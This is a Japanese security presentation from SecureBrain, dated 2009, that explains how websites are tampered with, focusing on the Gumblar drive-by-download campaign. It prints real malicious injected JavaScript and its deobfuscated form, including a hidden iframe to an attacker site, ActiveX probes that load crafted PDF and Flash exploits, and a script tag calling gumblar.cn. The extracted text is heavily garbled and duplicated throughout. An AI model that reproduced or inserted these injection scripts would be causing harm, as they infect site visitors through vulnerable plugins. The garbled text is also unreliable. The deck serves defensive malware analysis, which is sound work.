ウェブ改ざんはこうして起こる その攻撃手法の解説 - セキュアブレイン

ウェブ改ざんはこうして起こる
その攻撃手法の解説
2009年11月
株式会社セキュアブレイン
星澤 裕二
神薗 雅紀
1
アジェンダ
不正コンテンツへの最新の誘導テクニック
難読化されたコードのinjectによる誘導
SEOや多段ネットワークを利用した誘導
複合型
フィッシング・ワンクリック
最新の不正サイト検知技術
まとめ
謝辞
この発表の一部は「平成20年度NICT委託研究」にて実施したものである
2
不正コンテンツへの最新の誘導テクニック
3
不正コンテンツへの最新の誘導テクニック
‐難読化されたコードのinjectによる誘導
‐SEOや多段ネットワークを利用した誘導
‐複合型
‐フィッシング・ワンクリック
4
解読しにくい関数を利用したサイト(1/2)
JavaScriptの
JavaScriptの関数や
関数や変数名を
変数名を理解しにくい
理解しにくい名前
しにくい名前にしている
名前にしている
改ざん(
ざん(inject)
inject)コードはpack
コードはpackなどにより
packなどにより難読化
などにより難読化されており
難読化されており、
されており、検知や
検知や解析を
解析を困難と
困難と
する
改ざん(inject)コード
<script>
function v4a8a200c53307(v4a8a200c536fb){
return(parseInt(v4a8a200c536fb,16)); }
function v4a8a200c542e3(v4a8a200c546d9){
var v4a8a200c552d1=2;
var v4a8a200c54ad1='';
for(v4a8a200c54eda=0; v4a8a200c54eda<v4a8a200c546d9.length; v4a8a200c54eda+=v4a8a200c552d1){
v4a8a200c54ad1+=(String.fromCharCode(v4a8a200c53307(v4a8a200c546d9.substr(v4a8a200c54eda, v4a8a200c552d1))));
}
return v4a8a200c54ad1;
}
document.write(v4a8a200c542e3('3C696672616D65206E616D653D273861386527207372633D27687474703A2F2F7777772E676F6F647374756666
726576696577732E636F6D2F77702D696E636C756465732F706F6D6F2F6B6F6F2F676F2E7068703F7369643D31272077696474683D313633206865
696768743D3635207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));
</script>
5
解読しにくい関数を利用したサイト(2/2)
packされたコードを
packされたコードをunpack
されたコードをunpackすることで
unpackすることで、
することで、挙動を
挙動を解析
unpackした
unpackした結果
した結果を
結果を関数(
関数(function)
function)が処理する
処理する
改ざん(inject)コード
<script>
function v4a8a200c53307(v4a8a200c536fb){
return(parseInt(v4a8a200c536fb,16)); }
function v4a8a200c542e3(v4a8a200c546d9){
var v4a8a200c552d1=2; var v4a8a200c54ad1='';
for(v4a8a200c54eda=0; v4a8a200c54eda<v4a8a200c546d9.length; v4a8a200c54eda+=v4a8a200c552d1){
v4a8a200c54ad1+=(String.fromCharCode(v4a8a200c53307(v4a8a200c546d9.substr(v4a8a200c54eda, v4a8a200c552d1)))); }
return v4a8a200c54ad1;}
document.write(v4a8a200c542e3('3C696672616D65206E616D653D273861386527207372633D27687474703A2F2F7777772E676F6F647374756666
726576696577732E636F6D2F77702D696E636C756465732F706F6D6F2F6B6F6F2F676F2E7068703F7369643D31272077696474683D313633206865
696768743D3635207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));
難読化の解除結果
//document.write
<iframe name='8a8e' src='http://www.goodstuffreviews.com/wp-includes/pomo/koo/go.php?sid=1' width=163 height=65
style='display:none'></iframe>
6
解読しにくい関数を利用したサイト(2/2)
packされたコードを
packされたコードをunpack
されたコードをunpackすることで
unpackすることで、
することで、挙動を
挙動を解析
unpackした
unpackした結果
した結果を
結果を関数(
関数(function)
function)が処理する
処理する
改ざん(inject)コード
<script>
function v4a8a200c53307(v4a8a200c536fb){
return(parseInt(v4a8a200c536fb,16)); }
function v4a8a200c542e3(v4a8a200c546d9){
var v4a8a200c552d1=2; var v4a8a200c54ad1='';
<iframe name='8a8e' src='http://www.goodstuffreviews.com/wpv4a8a200c54ad1+=(String.fromCharCode(v4a8a200c53307(v4a8a200c546d9.substr(v4a8a200c54eda, v4a8a200c552d1)))); }
includes/pomo/koo/go.php?sid=1' width=163 height=65
return v4a8a200c54ad1;}
document.write(v4a8a200c542e3('3C696672616D65206E616D653D273861386527207372633D27687474703A2F2F7777772E676F6F647374756666
style='display:none'></iframe>
for(v4a8a200c54eda=0; v4a8a200c54eda<v4a8a200c546d9.length; v4a8a200c54eda+=v4a8a200c552d1){
726576696577732E636F6D2F77702D696E636C756465732F706F6D6F2F6B6F6F2F676F2E7068703F7369643D31272077696474683D313633206865
696768743D3635207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));
難読化の解除結果
//document.write
<iframe name='8a8e' src='http://www.goodstuffreviews.com/wp-includes/pomo/koo/go.php?sid=1' width=163 height=65
style='display:none'></iframe>
7
特殊なpackerを利用した改ざんコード(1/3)
Dean Edwards packer というpacker
というpackerを
packerを使ってpack
ってpackしている
packしている
Deam Edwards Packer URL:http://dean.edwards.name/packer/
Dean Edwards packerは
packerは正規のサイトでも
正規のサイトでも利用
のサイトでも利用されている
利用されている
何度も
何度も解読しなければ
解読しなければ難読化
しなければ難読化が
難読化が解けない
改ざん(inject)コード
<script>
function Rvqkfgu(R07yuw10){
window.execScript(R07yuw10); }
Rvqkfgu(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Stri
ng)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'¥¥w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('¥¥b'+e(c)+'¥¥b','g'),k[c])}}return
p}('1k(1l(¥'%v%B%n%k%g%h%m%n%0%z%X%1c%q%1e%R%f%1i%2%1%j%5%D%j%5%3%v%m%9%2%l%12%M%K%v%J%Y%T%17%0%u%0%S%L%0%l%R%E%I%K%A%o%S%0%
u%0%s%s%t%0%l%12%M%K%v%J%Y%T%17%0%13%u%0%S%1d%t%0%l%12%M%K%v%J%Y%T%17%F%F%1%j%5%3%D%j%…U%1%5%3%3%D%5%3%3%3%x%m%k%B%y%4%
n%g%r%H%9%h%g%4%2%i%13%h%v%9%f%y%4%0%w%9%k%u%s%k%f%k%l%4%p%v%q%f%w%l%r%w%H%v%s%16%13%p%h%v%9%f%y%4%16%i%1%t%5%3%3%C%5%3%C%5
%3%k%f%g%k%l%2%4%1%D%C%5%C%5%12%g%x%1j%f%o%2%1%t¥'));',62,87,'u0020|u0029|u0028|u0009|u0065|u000a|u007c|u005e|u0021|u0072|u0026|u0023
|u005c|u0040|u0024|u0061|u0074|u0069|u0027|u000d|u0063|u0068|u006f|u006e|u0070|u002f|u006c|u002e|u0022|u003b|u003d|u0066|u0073|u0064|u0
06d|u0078|u0050|u0075|u007d|u007b|u004f|u002b|u0067|u0077|u0053|u0062|u0058|u002c|u007a|u0076|u0041|u0030|u006b|u004d|u0032|u0044|u006
a|u0046|u004e|u0043|u0045|u003a|u0059|u0079|u004a|u003c|u0033|u0048|u003e|u004c|u0039|u0031|u005b|u0049|u0051|u0036|u0047|u0035|u0038|
u005d|u0052|u0037|Rvqkfgu|unescape|u003f|u0056|u0034'.split('|'),0,{}))
</script>
8
特殊なpackerを利用した改ざんコード(1/3)
Dean Edwards packer というpacker
というpackerを
packerを使ってpack
ってpackしている
packしている
Deam Edwards Packer URL:http://dean.edwards.name/packer/
Dean Edwards packerは
packerは正規のサイトでも
正規のサイトでも利用
のサイトでも利用されている
利用されている
何度も
何度も解読しなければ
解読しなければ難読化
しなければ難読化が
難読化が解けない
改ざん(inject)コード
<script>
function Rvqkfgu(R07yuw10){
window.execScript(R07yuw10); }
Rvqkfgu(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Stri
ng)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'¥¥w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('¥¥b'+e(c)+'¥¥b','g'),k[c])}}return
p}('1k(1l(¥'%v%B%n%k%g%h%m%n%0%z%X%1c%q%1e%R%f%1i%2%1%j%5%D%j%5%3%v%m%9%2%l%12%M%K%v%J%Y%T%17%0%u%0%S%L%0%l%R%E%I%K%A%o%S%0%
u%0%s%s%t%0%l%12%M%K%v%J%Y%T%17%0%13%u%0%S%1d%t%0%l%12%M%K%v%J%Y%T%17%F%F%1%j%5%3%D%j%…U%1%5%3%3%D%5%3%3%3%x%m%k%B%y%4%
n%g%r%H%9%h%g%4%2%i%13%h%v%9%f%y%4%0%w%9%k%u%s%k%f%k%l%4%p%v%q%f%w%l%r%w%H%v%s%16%13%p%h%v%9%f%y%4%16%i%1%t%5%3%3%C%5%3%C%5
%3%k%f%g%k%l%2%4%1%D%C%5%C%5%12%g%x%1j%f%o%2%1%t¥'));',62,87,'u0020|u0029|u0028|u0009|u0065|u000a|u007c|u005e|u0021|u0072|u0026|u0023
|u005c|u0040|u0024|u0061|u0074|u0069|u0027|u000d|u0063|u0068|u006f|u006e|u0070|u002f|u006c|u002e|u0022|u003b|u003d|u0066|u0073|u0064|u0
06d|u0078|u0050|u0075|u007d|u007b|u004f|u002b|u0067|u0077|u0053|u0062|u0058|u002c|u007a|u0076|u0041|u0030|u006b|u004d|u0032|u0044|u006
a|u0046|u004e|u0043|u0045|u003a|u0059|u0079|u004a|u003c|u0033|u0048|u003e|u004c|u0039|u0031|u005b|u0049|u0051|u0036|u0047|u0035|u0038|
u005d|u0052|u0037|Rvqkfgu|unescape|u003f|u0056|u0034'.split('|'),0,{}))
function(p,a,c,k,e,d)
</script>
9
特殊なpackerを利用した改ざんコード(2/3)
Dean Edwards packer というpacker
というpackerを
packerを使ってpack
ってpackしている
packしている
Deam Edwards Packer URL:http://dean.edwards.name/packer/
Dean Edwards packer正規
packer正規のサイトでも
正規のサイトでも利用
のサイトでも利用されている
利用されている
何度も
何度も解読しなければ
解読しなければ難読化
しなければ難読化が
難読化が解けない
unpack後のコード
vqkfgu(unescape('%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0020%u0078%u0043%u0051%u006
for(hJzXfbEDL = 2, hMOSXPp2 = ""; hJzXfbEDL <= 26; hJzXfbEDL++)
{
hMOSXPp2 = String.fromCharCode(65 + hJzXfbEDL);
var nx3HAOxmh = new Image();
nx3HAOxmh.src = “res://” + hMOSXPp2 + “:¥¥” +
‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)|&/ig, ‘’) + “¥¥” +
10
特殊なpackerを利用した改ざんコード(2/3)
Dean Edwards packer というpacker
というpackerを
packerを使ってpack
ってpackしている
packしている
Deam Edwards Packer URL:http://dean.edwards.name/packer/
Dean Edwards packer正規
packer正規のサイトでも
正規のサイトでも利用
のサイトでも利用されている
利用されている
何度も
何度も解読しなければ
解読しなければ難読化
しなければ難読化が
難読化が解けない
unpack後のコード
vqkfgu(unescape('%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0020%u0078%u0043%u0051%u006
for(hJzXfbEDL = 2, hMOSXPp2 = ""; hJzXfbEDL <= 26; hJzXfbEDL++)
{
replace関数などにより、unpackして
hMOSXPp2 = String.fromCharCode(65 + hJzXfbEDL);
も元々のコードが難読化されている
var nx3HAOxmh = new Image();
nx3HAOxmh.src = “res://” + hMOSXPp2 + “:¥¥” +
‘P@(r!o^(g)!#r#$(a&m@& )F#)(#i^!@$l^$e#&s$^^’.replace(/#|¥$|¥^|¥!|@|¥(|¥)|&/ig, ‘’) + “¥¥” +
11
特殊なpackerを利用した改ざんコード(3/3)
Dean Edwards packer というpacker
というpackerを
packerを使ってpack
ってpackしている
packしている
Deam Edwards Packer URL:http://dean.edwards.name/packer/
Dean Edwards packer正規
packer正規のサイトでも
正規のサイトでも利用
のサイトでも利用されている
利用されている
何度も
何度も解読しなければ
解読しなければ難読化
しなければ難読化が
難読化が解けない
難読化の解除結果
function Jtd7ap(){
PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl");
for(i in PDF){
try{
obj = new ActiveXObject(PDF[i]);
if (obj){document.write('<iframe src="cache/readme.pdf"></iframe>'); }
}catch(e){}
}try{
obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
if (obj){document.write('<iframe src="cache/flash.swf"></iframe>');}
}catch(e){} }Jtd7ap();
12
特殊なpackerを利用した改ざんコード(3/3)
Dean Edwards packer というpacker
というpackerを
packerを使ってpack
ってpackしている
packしている
Deam Edwards Packer URL:http://dean.edwards.name/packer/
Dean Edwards packer正規
packer正規のサイトでも
正規のサイトでも利用
のサイトでも利用されている
利用されている
何度も
何度も解読しなければ
解読しなければ難読化
しなければ難読化が
難読化が解けない
難読化の解除結果
function Jtd7ap(){
PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl");
for(i in PDF){
try{
obj = new ActiveXObject(PDF[i]);
if (obj){document.write('<iframe src="cache/readme.pdf"></iframe>'); }
}catch(e){}
}try{
iframeダグに「 cache/readme.pdf 」が設定され、細工
if (obj){document.write('<iframe src="cache/flash.swf"></iframe>');}
をしたPDFやFlashコンテンツを使って、脆弱性のある
}catch(e){} }Jtd7ap();
Adobe ReaderやFlashがインストールされたユーザー
のPCに侵入するする
obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
13
Webサイト改ざんによる不正サイトへの誘導[Gumblar
Gumblar](1/3)
Gumblar
通称Gumblar
通称Gumblarウイルス
Gumblarウイルス
ウェブブラウザを開
ウェブブラウザを開くだけで感染
くだけで感染する
感染する"
する"ドライブバイダウンロード(drive
ドライブバイダウンロード(drive by download)"型
download)"型
感染するとユーザーが
感染するとユーザーが使用
するとユーザーが使用している
使用しているFTP
しているFTPサーバーの
FTPサーバーのID
サーバーのIDやパスワードを
IDやパスワードを盗
やパスワードを盗む
ユーザーのWeb
ユーザーのWebページに
Webページに悪意
ページに悪意のスクリプトを
悪意のスクリプトを埋
のスクリプトを埋め込む
Adobe Reader/Acrobatや
Reader/AcrobatやFlash Playerの
Playerの脆弱性を
脆弱性を悪用して
悪用して、
して、感染する
感染する亜種
する亜種が
亜種が存在する
存在する
2009年
2009年4月、PC通販
PC通販サイト
通販サイト「
サイト「GENO」
GENO」が被害
2009年
2009年5月19日
19日、JPCERT/CC注意喚起
JPCERT/CC注意喚起
JavaScriptが
JavaScriptが埋め込まれるWeb
まれるWebサイトの
Webサイトの改
サイトの改ざんに関
ざんに関する注意喚起
する注意喚起
http://www.jpcert.or.jp/at/2009/at090010.txt))
(http://www.jpcert.or.jp/at/2009/at090010.txt
14
Webサイト改ざんによる不正サイトへの誘導[Gumblar
Gumblar](2/3)
Gumblar
感染環境
攻撃者ウェブサイト
攻撃者ウェブサイト:
ウェブサイト:不正な
不正なPDFや
PDFやFlashおよび
Flashおよび、
および、Gumblarウイルスがアップロードされている
Gumblarウイルスがアップロードされている
脆弱性のある
脆弱性のあるAdobe
のあるAdobe Readerや
ReaderやFlashがインストールされたユーザーの
FlashがインストールされたユーザーのPC
がインストールされたユーザーのPCが
PCが侵入される
侵入される
ユーザPC
ユーザPCに
PCに侵入後、
侵入後、Gumblarが
Gumblarが感染する
感染する
誘導ウェブサイト
誘導ウェブサイト:
ウェブサイト:攻撃者ウェブサイトへ
攻撃者ウェブサイトへ誘導
ウェブサイトへ誘導する
誘導する難読化
する難読化されたスクリプトコードがインジェクトされて
難読化されたスクリプトコードがインジェクトされて
いる
収集した
収集したFTP
したFTPサーバの
FTPサーバのID
サーバのID・パスワードを
ID・パスワードを使
・パスワードを使い、利用者が
利用者が運営する
運営する正規
する正規ウェブサイトに
正規ウェブサイトに難読
ウェブサイトに難読
攻撃者ウェブサイト
攻撃者
ウェブサイト
されたスクリプトコードをインジェクトされる。
化されたスクリプトコードをインジェクトされる
。
誘導ウェブサイト
誘導ウェブサイト
閲覧者
15
Webサイト改ざんによる不正サイトへの誘導[Gumblar
Gumblar](2/3)
Gumblar
感染環境
攻撃者ウェブサイト
攻撃者ウェブサイト:
ウェブサイト:不正な
不正なPDFや
PDFやFlashおよび
Flashおよび、
および、Gumblarウイルスがアップロードされている
Gumblarウイルスがアップロードされている
脆弱性のある
脆弱性のあるAdobe
のあるAdobe Readerや
ReaderやFlashがインストールされたユーザーの
FlashがインストールされたユーザーのPC
がインストールされたユーザーのPCが
PCが侵入される
侵入される
ユーザPC
ユーザPCに
PCに侵入後、
侵入後、Gumblarが
Gumblarが感染する
感染する
誘導ウェブサイト
誘導ウェブサイト:
ウェブサイト:攻撃者ウェブサイトへ
攻撃者ウェブサイトへ誘導
ウェブサイトへ誘導する
誘導する難読化
する難読化されたスクリプトコードがインジェクトされて
難読化されたスクリプトコードがインジェクトされて
いる
収集した
収集したFTP
したFTPサーバの
FTPサーバのID
サーバのID・パスワードを
ID・パスワードを使
・パスワードを使い、利用者が
利用者が運営する
運営する正規
する正規ウェブサイトに
正規ウェブサイトに難読
ウェブサイトに難読
脆弱性のあるAdobe Readerや
攻撃者ウェブサイト
攻撃者
ウェブサイト
されたスクリプトコードをインジェクトされる。
化されたスクリプトコードをインジェクトされる
。
Flashがインストールされたユー
ザーのPCへ侵入
攻撃者ウェブサイトへ誘導
Gumblarウイルスをダウンロードお
よび実行(感染)
誘導ウェブサイト
誘導ウェブサイト
16
正規のウェブサイトにアクセス
閲覧者
Webサイト改ざんによる不正サイトへの誘導[Gumblar
Gumblar](2/3)
Gumblar
感染環境
攻撃者ウェブサイト
攻撃者ウェブサイト:
ウェブサイト:不正な
不正なPDFや
PDFやFlashおよび
Flashおよび、
および、Gumblarウイルスがアップロードされている
Gumblarウイルスがアップロードされている
脆弱性のある
脆弱性のあるAdobe
のあるAdobe Readerや
ReaderやFlashがインストールされたユーザーの
FlashがインストールされたユーザーのPC
がインストールされたユーザーのPCが
PCが侵入される
侵入される
ユーザPC
ユーザPCに
PCに侵入後、
侵入後、Gumblarが
Gumblarが感染する
感染する
誘導ウェブサイト
誘導ウェブサイト:
ウェブサイト:攻撃者ウェブサイトへ
攻撃者ウェブサイトへ誘導
ウェブサイトへ誘導する
誘導する難読化
する難読化されたスクリプトコードがインジェクトされて
難読化されたスクリプトコードがインジェクトされて
いる
取得したID・パスワードを使って
収集した
が運営する
収集したFTP
したFTPサーバの
FTPサーバのID
サーバのID・パスワードを
ID・パスワードを使
・パスワードを使い、利用者が
利用者
運営する正規
する正規ウェブサイトに
正規ウェブサイトに難読
ウェブサイトに難読
ウェブサイトを改ざん
攻撃者ウェブサイト
攻撃者
ウェブサイト
されたスクリプトコードをインジェクトされる。
化されたスクリプトコードをインジェクトされる
。
誘導ウェブサイト
誘導ウェブサイト
閲覧者が管理するウェブサイトに
FTPアクセス(ID・パスワード)
ID・パスワードを盗み、送付
gumblar
閲覧者
17
Webサイト改ざんによる不正サイトへの誘導[Gumblar
Gumblar](2/3)
Gumblar
感染環境
攻撃者ウェブサイト
攻撃者ウェブサイト:
ウェブサイト:不正な
不正なPDFや
PDFやFlashおよび
Flashおよび、
および、Gumblarウイルスがアップロードされている
Gumblarウイルスがアップロードされている
脆弱性のある
脆弱性のあるAdobe
のあるAdobe Readerや
ReaderやFlashがインストールされたユーザーの
FlashがインストールされたユーザーのPC
がインストールされたユーザーのPCが
PCが侵入される
侵入される
ユーザPC
ユーザPCに
PCに侵入後、
侵入後、Gumblarが
Gumblarが感染する
感染する
誘導ウェブサイト
誘導ウェブサイト:
ウェブサイト:攻撃者ウェブサイトへ
攻撃者ウェブサイトへ誘導
ウェブサイトへ誘導する
誘導する難読化
する難読化されたスクリプトコードがインジェクトされて
難読化されたスクリプトコードがインジェクトされて
いる
感染サイト拡大
取得したID・パスワードを使って
収集した
が運営する
収集したFTP
したFTPサーバの
FTPサーバのID
サーバのID・パスワードを
ID・パスワードを使
・パスワードを使い、利用者が
利用者
運営する正規
する正規ウェブサイトに
正規ウェブサイトに難読
ウェブサイトに難読
ウェブサイトを改ざん
攻撃者ウェブサイト
攻撃者
ウェブサイト
されたスクリプトコードをインジェクトされる。
化されたスクリプトコードをインジェクトされる
。
誘導ウェブサイト
誘導ウェブサイト
閲覧者が管理するウェブサイトに
FTPアクセス(ID・パスワード)
ID・パスワードを盗み、送付
gumblar
閲覧者
18
Webサイト改ざんによる不正サイトへの誘導[Gumblar
Gumblar](2/3)
Gumblar
感染環境
攻撃者ウェブサイト
攻撃者ウェブサイト:
ウェブサイト:不正な
不正なPDFや
PDFやFlashおよび
Flashおよび、
および、Gumblarウイルスがアップロードされている
Gumblarウイルスがアップロードされている
脆弱性のある
脆弱性のあるAdobe
のあるAdobe Readerや
ReaderやFlashがインストールされたユーザーの
FlashがインストールされたユーザーのPC
がインストールされたユーザーのPCが
PCが侵入される
侵入される
ユーザPC
ユーザPCに
PCに侵入後、
侵入後、Gumblarが
Gumblarが感染する
感染する
誘導ウェブサイト
誘導ウェブサイト:
ウェブサイト:攻撃者ウェブサイトへ
攻撃者ウェブサイトへ誘導
ウェブサイトへ誘導する
誘導する難読化
する難読化されたスクリプトコードがインジェクトされて
難読化されたスクリプトコードがインジェクトされて
いる
感染サイト拡大
収集した
収集したFTP
したFTPサーバの
FTPサーバのID
サーバのID・パスワードを
ID・パスワードを使
・パスワードを使い、利用者が
利用者が運営する
運営する正規
する正規ウェブサイトに
正規ウェブサイトに難読
ウェブサイトに難読
攻撃者ウェブサイト
攻撃者
ウェブサイト
されたスクリプトコードをインジェクトされる。
化されたスクリプトコードをインジェクトされる
。
誘導ウェブサイト
誘導ウェブサイト
閲覧者
19
Webサイト改ざんによる不正サイトへの誘導[Gumblar
Gumblar](3/3)
Gumblar
難読化されたコードを
難読化されたコードを解除
されたコードを解除することで
解除することで、
することで、挙動を
挙動を解析
改ざん(inject)コード
</script></HEAD>
…
xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion()"2b"22"2c"6a"3d"22"22"2cu"3dnaviga"74"6f"72"2euserAgent"3bi"66
…
vE201=xXs.replace(/"/g,x8fk);eval(unescape(vE201))})();--></script>
難読化の解除結果
var a="ScriptEngine",b="Version()+",j=“”,u=navigator.userAgent;
if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A")))
{
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//gumblar.cn/rss/?id="+j+"><¥/script>");
}
if(window.ScriptEngine)
j=j+ScriptEngineMajorVersion()+ScriptEngineMinorVersion()+ScriptEngineBuildVersion()+j;
<script src=//gumblar.cn/rss/?id=>
20
Webサイト改ざんによる不正サイトへの誘導[Gumblar
Gumblar](3/3)
Gumblar
難読化されたコードを
難読化されたコードを解除
されたコードを解除することで
解除することで、
することで、挙動を
挙動を解析
改ざん(inject)コード
</script></HEAD>
…
xXs='var"20"61"3d"22S"63riptEng"69ne"22"2cb"3d"22"56"65r"73ion()"2b"22"2c"6a"3d"22"22"2cu"3dnaviga"74"6f"72"2euserAgent"3bi"66
…
vE201=xXs.replace(/"/g,x8fk);eval(unescape(vE201))})();--></script>
scriptダグに「//gumblar.cn/rss/?id=“j”が
設定され自動的に悪意のサイトにアクセス
var a="ScriptEngine",b="Version()+",j=“”,u=navigator.userAgent;
難読化の解除結果
if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A")))
{
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//gumblar.cn/rss/?id="+j+"><¥/script>");
}
if(window.ScriptEngine)
j:使用されているscriptの情報を取得
j=j+ScriptEngineMajorVersion()+ScriptEngineMinorVersion()+ScriptEngineBuildVersion()+j;
<script src=//gumblar.cn/rss/?id=>
21
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(1/5)
誘導手法
2009年
2009年10月
10月に急速に
急速に感染拡大を
感染拡大を検知
2009年
2009年5月に一時期流行し
一時期流行し、その後沈静化
その後沈静化していたのが
その時に収集された
収集されたFTP
後沈静化していたのが、
していたのが、その時
されたFTPアカウ
FTPアカウ
ントを使
って、
手法で
活動を
ントを
使って
、違う手法
で活動
を開始
「Gumblarウイルス
Gumblarウイルス」
ウイルス」により改
により改ざん被害
ざん被害を
被害を受けたウェブサイト299
けたウェブサイト299件
299件について再度調査
について再度調査[※1]
再度調査[※1]
124件
41.5%)
のウェブサイトで、
たな手法
手法により
により再度
再度ウェブサイトが
ウェブサイトが改
を行ったところ 、124
件(41.5%
)のウェブサイトで
、新たな
手法
により
再度
ウェブサイトが
改
ざんされていることを確認
確認。
ざんされていることを
確認
。
改ざん被害
ざん被害を
被害を受けたウェブサイトの 内、23件
23件(18.5% )が「co.jp」
co.jp」ドメインを持
ドメインを持つ、日本の
日本の企
われるウェブサイト。
また、「
、「ne.jp
ne.jp」
ドメインを持
つウェブサイトは18
18件
14.5%)、
業と思われるウェブサイト
。また
、「
ne.jp
」ドメインを
持つウェブサイトは
18
件(14.5%
)、 「
or.jp」
イトは9
7.3%)、「
)、「jp
jp」
ドメインを持
つウェブサイトは29
29件
23.4%)。
or.jp
」を持つウェブサ イトは
9件(7.3%
)、「
jp
」ドメインを
持つウェブサイトは
29
件(23.4%
)。
[※1]弊社による独自の調査結果
(セキュアブレインが、「Gumblarウイルス」と類似した新たな攻撃手法を確認
以前に感染したウェブサイトの1/3以上が再び改ざん被害に)
http://www.securebrain.co.jp/about/news/2009/10/gred-gumbler.html
22
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(2/5)
誘導手法
ウイルス感染
ウイルス感染を
感染を拡大させるために
拡大させるために、
させるために、ウェブサイトに2
ウェブサイトに2つの機能
つの機能を
機能を持たせる
Group1
Group1:ウイルスに感染
ウイルスに感染させる
感染させる機能
させる機能
- 悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルがアップロードされている
難読化されたスクリプトファイルがアップロードされている
Group2
Group2:ダウンロードおよび実行
ダウンロードおよび実行させる
実行させる機能
させる機能
- Group
Group1
1のスクリプトファイルを自動的
のスクリプトファイルを自動的にダウンロードおよび
自動的にダウンロードおよび実行
にダウンロードおよび実行する
実行する難読化
する難読化されていない
難読化されていないHTML
されていないHTMLコ
HTMLコ
ードがインジェクトされている
何らかの条件
らかの条件を
条件を満たさなければ不正
たさなければ不正コンテンツがダウンロードされない
不正コンテンツがダウンロードされない
脆弱性のあるAdobe Readerや
Flashがインストールされたユー
ザーのPCへ侵入後、ウイルスをダ
ウンロードおよび実行(感染)
Group1
Group
1
upload
攻撃者
Group2
Group2
inject
自動的に悪意のある難読
化されたスクリプトファイル
がアップロードされたウェブ
サイトにアクセス
閲覧者
23
正規のウェブサイトにアクセス
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(2/5)
誘導手法
ウイルス感染
ウイルス感染を
感染を拡大させるために
拡大させるために、
させるために、ウェブサイトに2
ウェブサイトに2つの機能
つの機能を
機能を持たせる
Group1
Group1:ウイルスに感染
ウイルスに感染させる
感染させる機能
させる機能
- 悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルがアップロードされている
難読化されたスクリプトファイルがアップロードされている
Group2
Group2:ダウンロードおよび実行
ダウンロードおよび実行させる
実行させる機能
させる機能
- Group
Group1
1のスクリプトファイルを自動的
のスクリプトファイルを自動的にダウンロードおよび
自動的にダウンロードおよび実行
にダウンロードおよび実行する
実行する難読化
する難読化されていない
難読化されていないHTML
されていないHTMLコ
HTMLコ
ードがインジェクトされている
何らかの条件
らかの条件を
条件を満たさなければ不正
たさなければ不正コンテンツがダウンロードされない
不正コンテンツがダウンロードされない
Group1
Group
1
upload
攻撃者
Group2
Group2
inject
閲覧者
24
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(2/5)
誘導手法
ウイルス感染
ウイルス感染を
感染を拡大させるために
拡大させるために、
させるために、ウェブサイトに2
ウェブサイトに2つの機能
つの機能を
機能を持たせる
Group1
Group1:ウイルスに感染
ウイルスに感染させる
感染させる機能
させる機能
- 悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルがアップロードされている
難読化されたスクリプトファイルがアップロードされている
Group2
Group2:ダウンロードおよび実行
ダウンロードおよび実行させる
実行させる機能
させる機能
- Group
Group1
1のスクリプトファイルを自動的
のスクリプトファイルを自動的にダウンロードおよび
自動的にダウンロードおよび実行
にダウンロードおよび実行する
実行する難読化
する難読化されていない
難読化されていないHTML
されていないHTMLコ
HTMLコ
ードがインジェクトされている
何らかの条件
らかの条件を
条件を満たさなければ不正
たさなければ不正コンテンツがダウンロードされない
不正コンテンツがダウンロードされない
Group1
Group
1
upload
感染サイト拡大
攻撃者
Group2
Group2
inject
閲覧者
25
不正コンテンツへの
不正コンテンツへの新
コンテンツへの新しい誘導手法
しい誘導手法(2/5)
誘導手法
ウイルス感染
ウイルス感染を
感染を拡大させるために
拡大させるために、
させるために、ウェブサイトに2
ウェブサイトに2つの機能
つの機能を
機能を持たせる
Group1
Group1:ウイルスに感染
ウイルスに感染させる
感染させる機能
させる機能
- 悪意のある
悪意のある難読化
のある難読化されたスクリプトファイルがアップロードされている
難読化されたスクリプトファイルがアップロードされている
Group2
Group2:ダウンロードおよび実行
ダウンロードおよび実行させる
実行させる機能
させる機能
- Group
Group1
1のスクリプトファイルを自動的
のスクリプトファイルを自動的にダウンロードおよび
自動的にダウンロードおよび実行
にダウンロードおよび実行する
実行する難読化
する難読化されていない
難読化されていないHTML
されていないHTMLコ
HTMLコ
ードがインジェクトされている
何らかの条件
らかの条件を
条件を満たさなければ不正
たさなければ不正コンテンツがダウンロードされない
不正コンテンツがダウンロードされない
Group1
Group
1
upload
感染サイト拡大
